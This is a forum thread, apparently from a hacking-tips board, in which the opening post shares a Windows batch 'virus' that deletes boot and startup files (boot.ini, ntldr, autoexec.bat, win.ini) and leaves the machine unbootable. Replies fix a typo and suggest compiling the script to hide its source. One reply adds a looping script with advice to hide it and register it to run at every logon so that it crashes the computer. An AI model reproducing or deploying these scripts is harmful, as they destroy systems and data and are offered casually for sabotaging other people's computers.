Batch file virus

aussiedude's Avatar author of Batch file virus
This is an article on Batch file virus in Ethical hacking Tips.
Rated 2.00 By 2 users


Hey guys haven't posted in a while I have been doing a lot of school work, and there some retarded chick in my class that annoys that crap out me.


Um I have been working on this for a while and a finally got to virus rating from MacAffe. yay XDXDXDXD

The code

its a batch file that wipes that start-up files of a computer, so don’t be a noob ad test it out on your own computer coz it'll screw your computer up and the only way to fix it is to re-image your computer fully (wipe the hard drive and re-install windows again LOL)

Code: Cpp
-----Disclaimer - Not to be used to damage/harm other people’s computer systems----------

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Have fun lol
xpi0t0s's Avatar, Join Date: Aug 2004
You've missed the last i off win.ini.
neo_vi's Avatar, Join Date: Feb 2008
Invasive contributor
eay way to do this. click on tools-> folder options
In that select view tab, in that remove the checked item "Hide protected operating system files (Recommended)". then u can easily delete all these files without typing anything.

And this cannot be called a virus mate.
shabbir's Avatar, Join Date: Jul 2004
Go4Expert Founder
Originally Posted by xpi0t0s
You've missed the last i off win.ini.
Added for him
Bhullarz's Avatar
Skilled contributor
A batch can done the complete damage.
Why not code this file using C++ or C, then nobody will be able to see the source code even
Dak914's Avatar, Join Date: May 2008
Go4Expert Member
Or just compile the batch file into a EXE.

Batch file viruses are fun because of how much you can do with them.

@echo off
goto 1
I am not the Windows expert I used to be, but just add this file to a hidden location and add a registry key to make it run after logging in and it should make the computer freak out every time after logging on. I am not sure if it will overload the memory everytime (which causes a crash) though.
Jenniferlinn's Avatar
Go4Expert Member
Ok thanks for the code as i am sick of these virus infection happened to PC
Dak914's Avatar, Join Date: May 2008
Go4Expert Member
You wouldn't have to re-image your disk per-say. You would just have to copy the four system files from a working windows machine to the "broken" machines root directory using a Linux livecd/liveusb distro (like backtrack). I have done this many times before, and it really isn't all that difficult. Just make sure you replace the same files you lost with equal files of the same name.